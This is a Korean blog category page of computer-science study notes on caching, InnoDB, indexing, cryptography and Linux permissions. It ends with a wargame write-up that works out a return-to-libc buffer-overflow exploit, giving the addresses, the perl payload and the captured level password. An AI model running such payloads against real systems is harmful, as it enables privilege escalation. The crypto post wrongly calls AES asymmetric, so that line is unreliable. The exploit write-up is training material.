심심해서 하는 블로그 :: 'Computer Science' 카테고리의 글 목록 (2 Page)

1. Buffer Management

Buffer Management의 역할

사용자가 어떤 쿼리문을 요청하면 DB에서 해당 내용을 메인 메모리의 버퍼 풀에 저장하여 사용한다. 요청한 페이지가 버퍼 풀에 없다면 한 프레임을 대체하여 사용하며 대체되는 프레임이 변경(dirty)되었다면 해당 내용을 디스크 상에도 반영을 하여 준다. 만약 순차적인 스캔 등 다음에 읽을 페이지가 예상이 가능하다면 미리 여러 개의 페이지를 메모리 상에 올려 주는 것이 효과적이다. 


Buffer Replacement Policy

LRU, MRU, Clock 등등 다양한 교체 알고리즘으로 정책을 세우되 접근 패턴을 고려하여 선택을 해야한다. 만약 버퍼 프레임보다 페이지의 수가 많다면 Sequential flooding이 발생한다. LRU를 사용하면 I/O하는 시간이 많이 소비되어 이 경우에는 MRU가 비교적 효과적인 알고리즘이 된다. 


2. InnoDB record format

Variable Length

한 필드의 타입이 int(4)라면 int형 데이터를 무조건 4개를 넣어라는 것이 아니라 4개 이하의 데이터를 넣을 수 있으며 not null 조건이 없다면 null도 허용된다. 이처럼 데이터 필드의 크기가 변화가능한(variable) InnoDB의 데이터 필드를 저장할 때 각각의 필드의 시작지점을 저장하는 Field Start offset을 함께 저장한다.


Record format

우선 가장 앞의 Field start offset은 각각의 칼럼의 시작 위치를 저장하는 곳이며 Extra Byte 구간을 기준으로 좌우 대칭된 모습으로 저장한다. 대게 1Byte를 사용하며 가장 첫 비트는 null여부를 판단하는 비트로 사용한다. 예를 들어 F3가 1000 0001이라면 해당 데이터 필드는 null이다. 따라서 표현가능한 크기는 127이하를 표기 가능하며 만약 127이상의 데이터 필드가 있다면 1 바이트를 추가적으로 사용하여 표기가능하다. 두 바이트를 사용하는 경우에는 첫 비트는 null여부, 두 번째 비트는 같은 페이지에 데이터가 있는지 여부를 표기한다. 왜나햐면 크기를 나타내는 비트의 수가 14개이므로 최대 16,383byte를 표현 가능하므로 같은 필드의 데이터가 다른 페이지 상에 존재할 가능성이 있기 때문이다.


Extra Byte는 Field start offset이 1바이트인지 2바이트인지, 다음 레코드의 포인터값 등등을 저장하는 필드이다. InnoDB에서는 6바이트를 사용하여 정보를 표기한다.


System Column에는 해당 rowID(S1), 트렌젝션ID(S2), Rollback pointer(S3)를 담고 있으며 해당 크기는 각각 6바이트,  6바이트, 7바이트이다. Rollback pointer의 경우 트렌젝션 수행 중에 만일 Rollback을 하게 되면 해당데이터가 원상 복구되어야하는데 변경 전의 데이터를 가지고 있는 필드를 가리키는 포인터로 사용한다.



,

캐시와 성능

CPU에서 캐시로 접근하는 시간을 Tc, 메인 메모리에 접근하는 시간을 Tm이라고 하였을 때 

1) 캐시가 없는 경우 : Tm

2) 캐시가 있는 경우 : T = h x Tc + ( 1 - h )(Tm + Tc) = Tc + (1-h) Tm 으로 각각 표현이 가능하다. 


여기서 h는 hit ratio(적중률) CPU가 요청한 내용을 캐시 메모리가 가지고 있을 확률을 의미한다.

일반적으로 Tc와 Tm을 비교하면 10배이상 차이가 나므로 적중률을 높여서 전체 시간중에 메모리에 있는 시간을 줄여야한다. 


라인의 크기를 키우자

이미 데이터의 지역성을 통하여, 보통 원하는 Word외에 인접한 데이터까지 한꺼번에 가져와서 미리 준비를 하여 성능 향상을 노린다는 점이다.  처음에는 이 논리에 의하여 성능이 향상되지만 어느 정도 크기가 커지면 적중률이 오히려 떨어지는 현상이 발생한다. 캐시 내에 가져온 데이터를 재사용하기 전에 다른 데이터를 가져오기 위해서 캐시에서 제거해야 하기 때문이다.


다단계 캐시

회로의 밀도가 높아짐에 따라 캐시를 프로세서 안에 두는 것이 가능해졌다. 기존에는 공용 선인 버스를 활용하여 데이터를 주고 받았지만 이제 하나의 칩 안에서 프로세서와 공존하므로 버스를 사용할 필요가 없어 졌다. 따라서 캐시와 프로세서간의 데이터가 오가는 동안 버스는 다른 전송을 할 수 있어지고 캐시는 버스를 기다릴 필요가 없어져서 시스템의 성능을 향상시킬 수 있다. 보통 3단계 캐시를 사용하고 L1, L2 캐시는 내부에 L3 캐시는 외부에 존재한다. 이들을 사용하여 효율을 볼려면 L1, L2의 적중률이 달려있다.


분리 캐시

기존의 캐시는 명령어와 Data를 구별하지 않고 무조건 저장하는 통합 캐시를 사용하였으나 명령어 패치와 데이터 패치 사이에 경쟁이 발생하는 것을 줄이기 위해 L1캐시의 경우 Data와 명령어를 분리하는 캐시를 사용한다.  이는 CPI(Clock cycle Per Instruction)를 파이프라인을 통해 줄여서 컴퓨터의 성능을 높혀준다. 

,

1. 교체 알고리즘

필요성

직접 매핑하는 경우에는 라인 별로 들어 갈 수 있는 곳이 정해져서 필요하지 않지만 연관, 세트연관 매핑의 경우 임의로 블록이 들어가기 때문에 교체 알고리즘이 필요하다. 그리고 이 교체하는 과정을 빠르게 하기 위해 알고리즘이 하드웨어로 구현되어야 한다.


대표적인 알고리즘

1) LRU(Least Recently Used) : 캐시 내에서 가장 오랫동안 참조되지 않은 블록을 교체하는 방식으로 

                                         구현이 단순하여 가장 널리 사용되는 알고리즘

2) FIFO(First In First Out) : 캐시 내에서 가장 오랫동안 있던 블록을 먼저 교체하는 방식

3) LFU(Least Frequency Used) : 가장 적게 참조되었던 블록을 교체하는 알고리즘


 2. 쓰기 정책

필요성

캐시는 프로그램 속도를 빠르게 하기 위한 운송업체 같은 역할일 뿐 실제 프로그램은 메인 메모리에서 수행한다. 따라서 캐시의 데이터가 변화하면 메인 메모리에도 똑같이 반영이 되어야 프로그램을 완벽하게 수행할 수 있으므로 캐시의 내용을 메모리에 다시 반영하는 쓰기 정책이 필요하다.


Write Through

가장 간단한 기법으로 캐시에 생기는 변화가 즉각적으로 메인 메모리에 반영이 되어지는 것이다. 하지만 메인 메모리의 사용량이 증가하여 병목현상이 발생할 수 있다.


Write back

위의 방법을 보완하는 방법으로 캐시 내의 데이터만 갱신이 되고 메모리는 나중에 캐시에서 데이터를 다시 가져오는 과정에서 갱신이 되는 점이다. 따라서 캐시의 데이터와 메모리의 데이터가 서로 달라지는 모습을 자주 보이는데 이 상태를 Dirty, 더럽혀 졌다고 한다.  속도는 개선되는 방면에 회로가 복잡하고 디바이스를 제어하는 경우 캐시의 내용을 디바이스로 전달을 안하는 경우가 간혹 발생한다.

,

1. 암호화

암호화의 목적

암호화는 정보 노출(information disclosure)를 막기 위한 도구로 사용한다. 사용자는 프로그램이나 인터넷을 통하여 다양한 데이터를 주고 받는다. 이 과정을 그냥 평문으로 작성되면 도청을 하는 제3자에 의해 악용될 가능성이 있다. 따라서 암호화를 하여 키를 가지고 있지 않은 제 3자가 중간에서 도청을 하더라도 평문의 내용을 알 수 없고 키를 가지고 있는 대상에게만 평문의 내용을 확인하기 위해 암호화 기법을 사용한다. 


암호의 역사

암호화의 역사는 고대 로마시대의 카이사르 암호에서 시작한다. 평문의 글자의 위치를 바꿔가면서 키를 가지고 있지 않은 사람에게는 평문의 내용을 쉽게 알 수 없게 한다. 하지만 키의 크기가 작아서 무차별 대입공격에 취약하고 영어 문자의 특징상 자주 쓰는 알파벳이 있어서 사전 공격에 취약하다는 단점이 있었다.  시간이 지나 조금 더 발전된 암호가 Vigenere cipher다. 키가 되는 문자와 평문의 한 글자씩 사전에 준비한 표를 통하여 바꿔나가는 방법이다. 


대칭키 / 비대칭키

대칭키는 송신자와 수신자가 동일한 키를 가지고 있다. 따라서 암호화와 복호화를 같은 키를 통하여 수행한다. 속도적인 측면에서 비대칭키보다 매우 뛰어나지만 키를 어떻게 분배를 할 것인가에 대한 문제가 있다. 


비대칭키는 송신자와 수신자가 서로 다른 키를 가지고 있어 암호화와 복호화의 키가 서로 다르다는 특징이 있다. 이 알고리즘에서 수신자는 개인 키(private key)는 자신이 가진 채 비밀로 하고 공개 키(public key)를 인증 센터에 등록한다. 그리하여 송신자는 수신자의 공개 키로 암호화하여 수신자에게 전송하면 수신자는 개인 키로 복호화하여 원문을 확인 할 수 있다. 따라서 개인 키를 모르는 공격자는 해당 내용을 알 수 없다.  


키 분배를 해결할 수 있다는 점에서는 우수하지만 속도가 느려 현재는 비대칭키 알고리즘으로 대칭키의 키 분배를 한 후 대칭키 알고리즘을 통하여 통신을 한다. 대표적인 알고리즘으로 대칭키는 DES 알고리즘, 비대칭키는 AES 알고리즘이 있다. 


2. 해시 함수

해시의 목적과 특징

해시는 데이터 변조를 막기 위한 조치로 만들어진 기법이다. 해시는 입력의 크기와 상관없이 일정한 길이의 출력 값을 출력하는 것이 특징이고 한 글자라도 변조가 발생하면 해시 값 전체가 변화하는 특징이 있다. 이러한 특징으로 중간에 데이터 변조가 발생하였는지 여부를 확인할 수 있다. 대표적인 알고리즘으로 SHA 알고리즘이 있다.


암호화 vs 해시함수

해시와 암호화 도구와 큰 차이점은 역함수가 없다는 점. 따라서 복호화를 통하여 평문을 확인할 수 있는 암호화 도구들과는 달리 해시 함수는 복호화를 할 수가 없다는 특징이 있다. 이러한 특징을 잘 볼 수 있는 대표적인 사례가 패스워드 관리다. 비밀번호를 까먹어서 비밀번호 찾기를 누르고 각 종 본인 인증을 끝나면 비밀번호를 알려주는 것이 아니라 새로운 비밀번호를 작성할 것을 요청한다. 왜냐하면 비밀번호 평문을 데이터베이스에 저장한 것이 아니라 해시함수를 거친 결과물을 데이터베이스에 저장해서 관리자도 알 수 없고 복호화 자체를 할 수 없어서 원래 비밀번호가 뭔지 알 수 없기 때문이다.


,

1. InnoDB

Clustered index

MySQL은 InnoDB에서 작동하는 SQL이다. 그리고 이 InnoDB는 테이블의 기본 키(PK)를 인덱스로 하여 사용하며 동기화 되어 저장한다. 다시 말해 데이터가 변경, 삭제, 삽입이 발생하면 기본 키에 대하여 데이터 레코드를 정렬을 한다. 만약 기본키가 없는 테이블은 not null인 Unique Key를 사용하고 그것마저도 없으면 내부적으로 숨겨진 Row ID를 사용하여 사용하며 새로운 열에 대하여는 단계적으로 증가한 ID값을 넣어 사용한다. 


Secondary index 

InnoDB는 Clustered index를 제외한 나머지 인덱스를 보조 인덱스로 사용한다. 이론적으로 non-clustered index를 사용하면 해당 레코드의 RID(Row ID)로 데이터 레코드에 접근하는데 InnoDB에서는 RID 대신 기본 키 로 대체하여 사용한다. 따라서 기본 키의 크기가 매우 긴 경우에는 보조 인덱스의 크기가 비대해질수도 있으므로 기본키의 크기를 작게 사용하는 것이 좋다.


2. Index Query

index 생성

1. 기본 키 또는 Unique key 선언된 테이블 생성 자동으로 생성

create table [ table_name ] ( column_name 자료형(크기)....  

PRAMARY(or UNIQUE) KEY( [ column_name ] ));


2. 기본 키가 없는 테이블에 기본 키를 지정하는 경우

alter table [ table_name ] ADD PRIMARY KEY [ column_name ]


3. 직접 index 생성

create index index_name using [ BTREE | HASH ] on table_name(column_name);


Index Hint

DB가 보통 최적의 인덱스를 선택하는 경우도 있지만 인덱스의 선택이 옳지 못한 경우에는 사용자가 직접 인덱스 힌트를 줘서 사용을 강제로 하거나 사용을 못하게 막을 수 있다. 


select * from [ table_name ] ( use | force | ignore ) index [ index_name ] (이하 조건절 생략)


use : 인덱스를 써 볼 것을 권유... (최적화를 고려하므로 강제성이 없다.)

force : 강제로 인덱스 사용. (Table Scan이 더 효율적인데도 강제적으로 사용한다) 

ignore : 해당 인덱스를 사용을 금지한다.


Index List

해당 테이블에 어떤 인덱스가 있는지 확인할 수 있는 쿼리

show index from [ table_name ] 



,

1. Workload

인덱스는 양날의 검이다.

탐색 속도를 향상시켜주는 인덱스의 장점이 있지만 잘못된 인덱스의 선택은 오히려 작업량을 늘릴 수 있기 때문에 인덱스의 선택은 상황을 판단하여 신중히 행하여야 한다. 또한 DBMS마다 지원하는 index방식이 다르기 때문에 각각의 DBMS에서 사용하는 방식에 대한 이해가 필수적이다. 


예를 들면 MySQL의 경우 테이블의 기본 키(Primary key)로 자동으로 클러스터화된 인덱스를 생성한다. 

따라서 언클러스터화된 인덱스는 MySQL DBMS에서는 사용이 불가능하다. 


또한 인덱스는 테이블의 갱신 속도를 늦추기 때문에 아무렇게 인덱스를 짜면 안된다. 왜냐하면 인덱스가 정의된 데이터 테이블들은 인덱스에 따라 물리적 또는 논리적으로 정렬을 하기 때문에 삽입, 삭제, 변경이 발생하면 다시 재정렬을 하여야하므로 잦은 입출력이 있는 은행이나 게시물 등에 아무렇게 인덱스를 사용하면 성능을 저하시킬 수 있다. 


2. Clusetered Index

탐색키가 하나인 경우

Clustered index는 테이블에 단 하나만 생성할 수 있으므로 어떤 탐색키를 사용할 지 선택을 신중하게 하여야 한다. 각각의 쿼리와 조건에 따라서 index를 사용한 탐색을 할지 테이블 전체를 스캔할지 선택하여한다.


1
select E.dno from Emp E where E.age > 40
cs


위의 쿼리에서 E.age를 index로 사용할지 선택하라면 Emp 테이블의 40세 이상의 비율이 어느 정도 인지 확인이 필요하다. 40세 이상의 인원이 적다면 인덱스를 통한 탐색을 매우 유용할수 있다. 하지만 40세 이상의 비율이 대다수이라면 굳이 인덱스를 통한 탐색이 아니라 테이블 전체를 스캔하는 것이 더욱 효율적이다. 왜냐하면 클러스터화된 인덱스의 경우는 모든 데이터 레코드들이 물리적으로 탐색키에 맞게 정렬이 되어 있다. 


1
2
# dno는 부서ID
select E.dno, count(*From Emp E where E.age>10 group by E.dno

cs


위의 쿼리는 각각의 부서별로 사원의 나이가 10세 초과인 사람의 수를 구하는 쿼리다. dno와 age중 어떤 것을 index로 고른다고 한다면 10세 초과의 사원의 수가 전체 데이터에 어느 정도를 차지하는지 알아야할 필요가 있다. 만일 10세이상의 사원이 첫 번째 사례처럼 대다수라면 인덱스로 사용하는 것은 부적절하다. 오히려 dno를 인덱스로 사용한다면 더욱 효율성이 있을 것이다. 데이터들은 dno에 따라 정렬이 되어 있으므로 인덱스를 탐색한 후에 조건에 맞는 것만 세면 되기 때문이다.


두 개 이상의 탐색키 활용

직원의 나이를 나타나는 age와 봉급을 나타나는 sal을 탐색 키로 사용하는 클러스터화된 인덱스가 있다고 하자. 어떤 것을 우선적으로 정렬하는 가에 따라 <age, sal> , <sal, age> 둘 중에 하나를 사용할 수 있다.


1. 만일 age = 30 이고 sal = 4000인 사람을 찾아라 

 <age, sal> 이나 <sal, age> 둘 다 효과적이다. 만일 age 를 단독으로 인덱스로 사용한다면 age가 30인 사람은 금방 찾지만 sal이 4000인 사람은  해당 age 전체를 탐색하여야 한다. 하지만 인덱스로 <age, sal>을 찾는 경우는 모든 데이터 레코드들이 age로 정렬된 후 sal로 정렬하기 때문에 4000인 사람을 쉽게 찾을 수 있다.


2.  age = 30 이고 3000<sal<5000인 직원을 찾아라

<age, sal>이 <sal, age>보다 더욱 효과적이다. age=30를 찾은 다음에 그 후 sal로 정렬된 데이터 레코드를 수평으로 이동하면서 범위 탐색을 할 수 있어서 <age, sal> 가 더 효율적이다.


따라서 <age, sal>, <sal, age>중 선택하는 방법은 둘 중에 어떤 것이 작은 범주에 들어가는냐는 것을 생각을 하고 선택하는 것이 옳다. 


3. Unclustered Index

index-only plan

Unclustered Index의 경우 데이터 엔트리상에 탐색 키로 논리적으로 정렬이 되어있고 데이터 레코드들이 물리적으로 정렬하지 않는다. 따라서 데이터 엔트리에서 데이터 레코드로 직접 탐색하기 전에 데이터 엔트리내에서 찾아서 식별하는 것이 답을 찾아낼 수 있는 적절한 인덱스의 선택이 필요하다.  나머지 인덱스의 사용에 고려할 사항은 위의 클러스터화된 인덱스와 유사하여 생략한다.



,

1. Overview

Multi-user System

요새는 다 개개인의 책상이 떨어져 있지만 옛날에 초등학교 다닐때 우리학교에는 두 책상이 붙어있는 경우가 있다. 그 경우 꼭 유치하게 넘어오면 내꺼라는 둥하면 티격태격한 기억이 있는 아재들이 있을 것이다. 리눅스도 이 초등학교처럼 하나의 운영체제에서 많은 유저가 사용할 수 있는 운영체제이다. 만일 권한의 경계를 명확하게 하지 않으면 다른 계정에 의해 내가 작업해놓은 파일들이 없어지고 수정되어 있는 참사가 벌어질 수도 있다. 따라서 리눅스는 소유권과 허가권의 개념으로 파일의 읽고 쓰고 접근(실행)하는 권한을 구별한다.


2. Ownership & Permission

소유권(Ownership)

소유권은 파일 또는 디렉터리의 주인이 누구인지 밝히는 것이다. 

1. 리눅스는 파일 또는 디렉터리의 소유권 UID와 GID으로 표기를 한다. 

2. 일반적으로 리눅스 상에 계정을 생성하면 /home/ 안에 계정명과 동일한 디렉터리를 생성한다. 

3. 또한 일반적으로 리눅스의 새로운 계정의 그룹은 계정명과 동일한 그룹에 소속한다.


$ chown [계정명].[그룹명] [파일 또는 디렉터리명]

  -R : 디렉터리의 경우 하위 경로까지 모두 변경 가능 


위의 명령어를 사용하면 파일이나 디렉터리의 소유권을 변경할 수 있다. 

하지만 아무나 변경하면 안되니까 소유권자나 최고 존엄 root 만이 바꿀 수 있다.


허가권(Permission)

허가권은 이 파일 또는 디렉터리에 대해 현재 계정이 어떤 것을 할 수 있는지 보여주는 것이다.


$ chmod [권한] [파일 또는 디렉터리명]

  -R : 디렉터리의 경우 하위 경로까지 모두 변경 가능 


위의 명령어를 사용하면 파일이나 디렉터리의 허가권을 변경할 수 있다. 

하지만 아무나 변경하면 안되니까 소유권자나 최고 존엄 root 만이 바꿀 수 있다.

이 때 권한을 입력하는 방법은 읽기를 4, 쓰기를 2, 접근을 1로 하고 이 수들의 합으로 표현한다.

예를 들면 rwxr-x--x는 751로 표현 가능하다.


3. 특수 권한

SetUID : UID 권한 상승

각각의 프로세스는 Real UID와 Effective UID, Saved UID를 가지고 있다. 실제 프로그램을 수행할 때는 RUID가 아닌 EUID를 사용하여 허가권을 계산한다. 파일의 권한이 SetUID로 설정되어 있으면 일시적으로 상승된 권한을 다시 원래 권한으로 복귀하기 위해 saved UID에 기존의 UID를 저장한 후 Effective UID를 일시적으로 파일의 소유권자의 UID로 변경하여 사용할 수 있다. 일반적으로 SetUID는 실행가능한 파일에 주로 설정한다.


$ chmod 4[권한] [파일 또는 디렉터리명]

  -R : 디렉터리의 경우 하위 경로까지 모두 변경 가능 



setUID는 권한 상승을 시켜 다른 계정이 사용할 수 없는 프로그램을 일시적으로 사용할 수 있어서 유연성이 있는 권한이지만 취약한 프로그램이 setUID로 설정되어 있다면 쉘코드를 주입하여 남용이 가능하다. 특히 root에 대한 setUID가 악용되면 서버 전체에 큰 피해를 줄 수 있으므로 가급적 사용을 자제하는 것이 좋다.  



SetGID : GID 권한 상승

setGID는 setUID와 비슷하게 권한을 일시적으로 상승시켜주는데 파일 또는 디렉터리의 GID의 권한으로 상승을 시켜준다. 일반적으로 디렉터리나 실행 가능한 파일에 사용하며 디렉터리에 이 권한이 있으면 그 안에서 생성한 새 파일들의 GID는 해당 디렉터리의 GID로 상속받는다.


$ chmod 2[권한] [파일 또는 디렉터리명]

  -R : 디렉터리의 경우 하위 경로까지 모두 변경 가능 





Sticky bit : 게시판같은 개념

sticky bit는 주로 디렉터리에 사용하여 누구든지와서 파일을 생성할 수 있는 일종의 게시판과 같은 개념이다. 생성된 파일에 대한 삭제권한은 파일의 주인만이 할 수 있다는 점도 게시판과 많이 닮은 부분이다.


$ chmod 1[권한] [파일 또는 디렉터리명]

  -R : 디렉터리의 경우 하위 경로까지 모두 변경 가능 


,

1. Cache Memory

빠른 CPU, 느린 Memory

프로그램을 CPU 혼자서 수행하는 것이 아니라 메모리도 같이 참여한다. 암달의 법칙을 통해서 CPU 혼자 개선되어야 할 문제가 아니라 메모리도 역시 빨라야 한다는 것도 알게 되었다. 

그래서 우리는 메모리에게 아래 3가지 바라는 점을 적어 보았다.


1) 빠른 속도 : 캐시 메모리는 일반 메모리보다 빠르다.. 하지만 4GB를 캐시 메모리로 사용하면 가격이...

2) 큰 용량 : 메모리의 용량을 키우면 좋지만 역시 가격이...

3) 저렴하게..

인간의 욕심은 끝이 없고...


가격을 비교적 저렴하면서도 속도와 용량을 만족할 수 있게 현대 컴퓨터는 다음과 같은 구조를 갖는다.


용량의 Cache < Main Memory < HDD 순이며 속도는 역순이다.

CPU와 메인 메모리 사이에 캐시 메모리를 두어 CPU가 요청하는 것은 빠른 캐시 메모리에서 바로 전달은 해주면서 속도를 개선하였다. 그리고 HDD의 일부분을 가상메모리로 사용하여 메모리의 부족한 용량을 확장시켜주며 가격은 메인 메모리 전체를 캐시로 바꾸는 것, 메인메모리의 용량을 키우는 것보다 저렴한 고객 맞춤 서비스가 완성되었다. 이러한 성능 개선의 비결은 참조의 지역성이라는 성질 덕분에 발생한다.


Locality of Reference(참조의 지역성)

커피를 자주 마시는 여자친구가 있다. 센스 있는 남자 친구라면 데이트 코스에 꼭 카페를 들려 여자친구와 커피를 마시는 시간을 갖을 것이다. 그리고 카페에서 커피랑 먹으면 맛있는 케이크도 함께 주문하여 건내 줄 것이다. 이처럼 참조의 지역성은 CPU가 한 번 참조한 데이터는 다시 참조할 가능성이 높고 주변의 데이터 역시 참조될 가능성이 높다는 이론이다. 따라서 자주 쓰는 데이터를 캐시에 두고 데이터를 전달할 때 미리 다음에 받을 데이터까지 빠른 저장장치에 둔다면 컴퓨터의 성능이 좋아진다. 그리고 비싼 캐시 메모리의 용량이 굳이 크지 않아도 되니까 가격도 비교적 저렴해지는 효과도 발생한다.


2. Mapping Function

주소가 다르자나??


CPU가 메모리 주소를 사용하여 메모리로 데이터를 받을려고 한다. 하지만 CPU가 쓰는 주소는 가상 메모리 주소로 메모리 입장에서는 외계어다. 따라서 중간에 메모리 관리 장치(MMU)가 가운데에서 번역을 하여 메모리가 알아 먹을 수 있는 물리 주소로 변환을 해준다. 그리고 캐시에 해당 주소에 대한 데이터가 있는지 확인을 하는데 캐시에 데이터를 저장하는 방식에 따라 물리주소를 다르게 해석을 할 수 있다. 


직접 매핑(Direct Mapping)


우선 메인 메모리에서 캐시로 데이터를 저장할 때 참조의 지역성 때문에 한번 퍼낼 때 인접한 곳까지 한꺼번에 캐시 메모리에 저장하고 이 때 단위를 블록(Block)라고 한다. 그리고 캐쉬는 메인 메모리의 몇번째 블록인지를 알려주는 태그(Tag)도 함께 저장한다. 


메모리 주소 중에 가장 뒷부분(붉은색)은 블럭의 크기를 의미한다. 지금 블럭의 크기가 4이므로 뒤의 두자리를 사용하여 블럭의 크기를 표현하였다. 그리고 이 영역은 블럭에 몇 번째에 원하는 데이터가 있는지 보여주는 지표가 되어 준다. 만일 위의 예에서 붉은 영역이 01이라면 블록의 두 번째 내용을 CPU에서 요청한 것이다.


같은 라인에 위치하는 데이터는 파란색 색칠한 영역에 의하여 구별이 가능하다.. 예를 들면 메모리의 첫번째 요소 00000과 다섯번째 주소 00100은 캐시내에 같은 위치에 자리잡고 있어서 구별이 필요로 한데, 앞의 세자리 000과 001로 구별을 할 수 있다. 


이와 같은 요소의 활용은 캐시 메모리에 저장된 데이터 중 내가 원하는 것이 있는지 없는지 확인이 가능하다. 

1. 캐시의 태그와 주소상의 태그가 동일한지 확인한 후 같으면 붉은 영역을 통해 데이터를 읽는다.

2. 만일 태그가 다르다면 메모리에서 데이터를 가지고 온다.


직접 매핑은 위의 사진처럼 캐시에 저장된 데이터들은 메인 메모리에서와 동일한 배열을 가지도록 매핑하는 방법을 말한다. 이와 같은 방식을 사용하기 때문에 매우 단순하고 탐색이 쉽다는 장점이 있다. 하지만 적중률(Hit ratio)가 낮다는 단점이 있다. 반복문을 사용할 건데 같은 라인의 00000을 불렀다가 그다음엔 00100을 부른다면 캐시에 빈번하게 변경이 발생할수 있기 때문이다..



연관 매핑(Associative Mapping)

연관 매핑은 직접 매핑의 단점을 보완하기 위해 등장하였다. 캐시에 저장된 데이터들은 메인 메모리의 순서와는 아무런 관련이 없다. 이와 같은 방식을 사용하기 때문에 캐시를 전부 뒤져서 태그가 같은 데이터가 있는지 확인해야한다. 따라서 병렬 검사를 위해 복잡한 회로를 가지고 있는 단점이 있지만 적중률이 높다는 장점이 있다. 


세트 연관 매핑


직접 매핑의 단순한 회로와 연관 매핑의 적중률 두 개의 장점만을 취하기 위해서 만들어진 방식이다.

각각의 라인들은 하나의 세트에 속해 있다. 세트 번호를 통해 영역을 탐색하므로 연관 매핑의 병렬 탐색을 줄일 수 있다. 그리고 모든 라인에 연관 매핑처럼 무작위로 위치하여 직접매핑의 단점도 보완하였다. 세트 안의 라인 수에 따라 n-way 연관 매핑이라고 한다.(위 그림은 2-way 연관 매핑)





,

1. Performance

처리 시간

여러분이 컴퓨터를 교체하는 대표적인 이유. 바로 프로그램이 실행하는데 걸리는 시간이다. 

간단한 워드 프로세서를 켜는데 하루 반나절이 걸리면 당장 컴퓨터를 교체하러 갈 것이다.

이처럼 컴퓨터의 성능을 측정하는 지표에서 시간이라는 개념은 중요한 개념이다.


그렇다면 처리시간을 어떻게 측정할까? 

우선 CPU에 클럭(Clock)이라는 시계가 존재한다. 우리가 생각하는 시침, 분침, 초침으로 구성된 시계가 아니지만 일정한 진동수(f)의 전기 신호를 통하여 CPU는 정해진 시간에 맞춰서 프로그램을 수행할 수 있다. 또한 이 클럭이 높다는 것은 1초에 CPU 내부의 일을 많이 처리한다는 것을 의미해 CPU의 성능이 좋다는 지표가 된다.


하지만 프로그램이 실행하는 동안 CPU 혼자서 일을 하는 것은 아니다.

Operand Fetch, Instruction Fetch 과정에서 데이터나 명령어를 메인 메모리로부터 반드시 받아 와야하므로

메모리도 프로그램이 실행하는 내내 큰 역할을 한다. 그리고 알다시피 CPU의 속도가 토끼면 메모리의 속도는 나무늘보 수준.. (쥬토피아 보고싶다..)  따라서 명령어를 수행하는 사이클동안 메모리에 접근하는 빈도에 따라프로그램을 처리하는 시간은 달라질 수 있다. 이것을 고려하여 수치적으로 표현 한 것이 CPI(Clock cycles per Instruction)이다. 명령어마다 메모리에 접근하는 빈도가 달라져서 실행시간이 다르기 때문에 프로그램이 실행한 모든 명령어에 대하여 평균값을 구한 것이다. 


위의 두가지 개념을 이용하면 컴퓨터가 프로그램을 수행한 시간은 다음과 같이 표현이 가능하다



여기서 클럭주기는 클럭의 역수이다. 클럭이 높다는 것은 프로그램 수행 시간을 줄이므로 반비례 관계라 역수인 클럭주기를 곱하여 표현하였다. 


MIPS

야구선수 특히 타자들을 비교하는 가장 기본적인 지표는 한 시즌동안 몇개의 안타를 쳤는지 보여주는 타율이다. 컴퓨터도 비슷한 개념으로 이 컴퓨터가 1초동안 몇 개의 프로그램을 처리할수 있는가를 보여주는 지표가 IPS이다. 하지만 컴퓨터의 성능이 좋아지만서 웬만한 컴퓨터는 초당 백만 단위의 계산이 가능해져 지표의 자릿수가 너무 비대해지자 백 만개씩 묶어서 계산하는 MIPS로 대체하였다.




2. Amdhal`s Law

컴퓨터 관련과 학생들에게 견적을 물어보는 이유

자신의 컴퓨터가 느려졌는데 학생이라 가난해서 부품 몇 개만 바꾸고 싶다.

'나 CPU를 지금보다 5배 좋은 걸로 바꾸면 컴퓨터 성능도 5배가 좋아질까?'

질문을 듣는 순간 이러한 질문을 듣는 '내가 어떻게 알아'하며 순간 혈압이 오르고 노이로제에 시달리는 컴퓨터학과 학생들.. 하지만 실은 Amdhal의 법칙을 아는 사람은 대충은 알 수 있다. 


어떤 프로그램이 실행하는 시간 중 CPU가 40% 사용하고 나머지 기기들이 60%를 사용한다고 가정하고

CPU의 성능을 5배 향상을 시켰다고 하고 아래의 Amdhal의 법칙 공식을 이용하여 보자


여기서 f는 프로그램 실행 시간 중 CPU가 사용한 비율이고 N은 성능 향상의 배수이다.


따라서 CPU 성능을 5배 좋은걸 사더라도 1.47배 정도 밖에 성능향상이 발생하지 않는다.

프로그램이 CPU 단독적으로 수행하는 것이 아니라 메모리 등 나머지 장치들도 함께 수행하기 때문에

CPU 혼자 성능이 좋아진다해서 큰 성능 향상을 보여주는 것이 아니다라는 점이다.


따라서 컴퓨터 공학도에게 나 이거 5배로 좋은건데 집에 사용하는 프로그램이 CPU를 사용하는 시간이 전체 사용시간에 xx%이래 성능이 얼마 만큼 향상될까? 이렇게 물어보면 한 1000명중에 1명은 대답해줄지도 모른다. (그 전에 혼자 계산기를 켜서 계산해보는게 좋지않을까..?)

,

1. 취약점



이제 끝이 슬슬 보인다!!!

 

1. main의 return address를 strcpy()의 주소로 한다. 따라서 main()이 종료한 후에 strcpy()가 수행한다.



2. strcpy()는 함수가 수행 완료 후 Retun address가 "AAAA"이다.  strcpy를 활용해서 "AAAA"를 

   RTL로 변경한다.


따라서 현재 strcpy()의 주소를 알아야 하고 argv[2]를 source로 buffer[48]을 dest로 사용할 것이므로 argv[2], buffer의 주소도 알아야 한다.


$ bash2

$ gcc -g -o nightmar1  nightmare.c

$ gdb -q nightmar1

(gdb) print strcpy



strcpy()의 주소 : 0x08048410

이번엔 argv[2], buffer의 주소를 확인하자.

$ cp nightmare.c nightmar1.c

$ vi nightmar1.c

$ gcc -o nightmar1 nightmar1.c

$ ./nightmar1


buffer[48] 주소 : 0xbffffad0

argv[2] 주소 : 0xbffffc56


각각의 RTL 주소는 전 단계를 참고해주세요

1. system() 주소 : 0x40058ae0

2. /bin/sh 의 주소 : 0x400fbff9

3. exit()의 주소 : 0x400391e0


2. Exploit

1. 바로 괴롭힌다.

$ ./nightmare  `perl -e 'print "A"x44, "\x10\x84\x04\x08", "A"x4, "\xd0\xfa\xff\xbf", "\x56\xfc\xff\xbf"'` `perl -e 'print "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`


2. 결과

id :  nightmare  passwd : beg for me

 

,